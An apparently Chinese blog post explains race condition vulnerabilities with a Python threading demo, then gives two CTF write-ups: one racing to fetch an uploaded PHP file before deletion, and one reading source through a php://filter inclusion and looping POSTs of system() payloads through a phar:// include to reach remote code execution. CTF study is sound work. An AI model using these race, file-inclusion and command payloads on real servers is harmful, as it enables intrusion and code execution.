条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
参考了一些资料,发现一个比较能说明问题的实例。
#-*-coding:utf-8-*- import threading COUNT = 0 def Run(threads_name): global COUNT read_value = COUNT print "COUNT in Thread-%s is %d" % (str(threads_name), read_value) COUNT = read_value + 1 def main(): threads = [] for j in range(10): t = threading.Thread(target=Run,args=(j,)) threads.append(t) t.start() for i in range(len(threads)): threads[i].join() print ("Finally, The COUNT is %d" % (COUNT,)) if __name__ == '__main__': main()
运行结果:
按照我们的预想,结果应该都是10
,但是发现结果可能存在非预期解,并且出现非预期的概率还挺大的。
这是什么原因呢?
原因就在于我们没有对变量COUNT
做同步制约,导致可能Thread-7在读COUNT
,还没来得及更改COUNT
,Thread-8抢夺资源,也来读COUNT
,并且将COUNT
修改为它读的结果+1
,由此出现非预期。
同样的,WEB应用程序因为要为很多用户服务,势必要采用多线程,但是,如果种种原因导致线程间的同步机制没处理好,那么也就会导致非预期和条件竞争的漏洞。
条件竞争在CTF中也有过一些题。
1.moctf
打开网址后一直打开的是index2.php 修改为index.php后发现还是会跳转到index2 抓包修改index.php。
发现index.php是一个302网页,因此就可以看到这里存在的一个文件uploadsomething.php。
随便填写文件名下面写入代码,再进行提交。
访问后
因此这里就需要用到条件竞争,不断的向网站发送请求,然后边发送边访问。
写入一个py文件一直发requests即可
import requests url="http://119.23.73.3:5006/web2/uploads/b106f91010a3789acab1f27a00d67570052a7921/1.php" while 1: print (requests.get(url).text)
2.XMAN-Easy Gallery
伪协议读取代码
http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload.php
<html lang="zh-CN"> <head> <meta charset="utf-8"> <?php $error=$_FILES['pic']['error']; $tmpName=$_FILES['pic']['tmp_name']; $name=$_FILES['pic']['name']; $size=$_FILES['pic']['size']; $type=$_FILES['pic']['type']; try{ if($name!=="") { $name1=substr($name,-4); if(($name1!==".gif") and ($name1!==".jpg")) { echo "hehe"; echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if($type!=="image/jpeg"&&$type!=="image/gif") { echo mime_content_type($tmpName); echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='uploads/'.$time.$name1; if(!move_uploaded_file($tmpName,$rootpath)){ echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>"; exit; } else{ sleep(5); if ($type=='image/jpeg') { $im = @imagecreatefromjpeg($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagejpeg($im,$new_rootpath); } } else if ($type=='image/gif') { $im = @imagecreatefromgif($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagegif($im,$new_rootpath); } } unlink($rootpath); } } echo "图片ID:".$time; } } catch(Exception $e) { echo "ERROR"; } // ?> </html>
首先是验证上传的文件是否为图片格式,如果上传了正确的图片,imagecreatefromjpeg()
返回图像资源,文件名更换为新的时间戳,用新的文件路径$new_rootpath
输出图片,最后删除原文件unlink($rootpath);
如果上传了不正确的图片,不会更换新的文件路径,最后还要删除源文件unlink($rootpath);
上传过程中存在一个延时函数sleep(5),所以上传的文件即使验证不成功也有5秒钟的时间存在。
解法:
随后用Python访问链接
import requests import time id = int(time.time()) s=requests.session() data0={'v':"phpinfo();",} data1={ 'v':"system('ls');" } data2={ 'v':"system('cat xxxxxxxxxasdasf_flag.php');" } while 1: for i in range(id-50,id+50): url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v' t=s.post(url,data=data1).content print i if 'flag' in t: print t break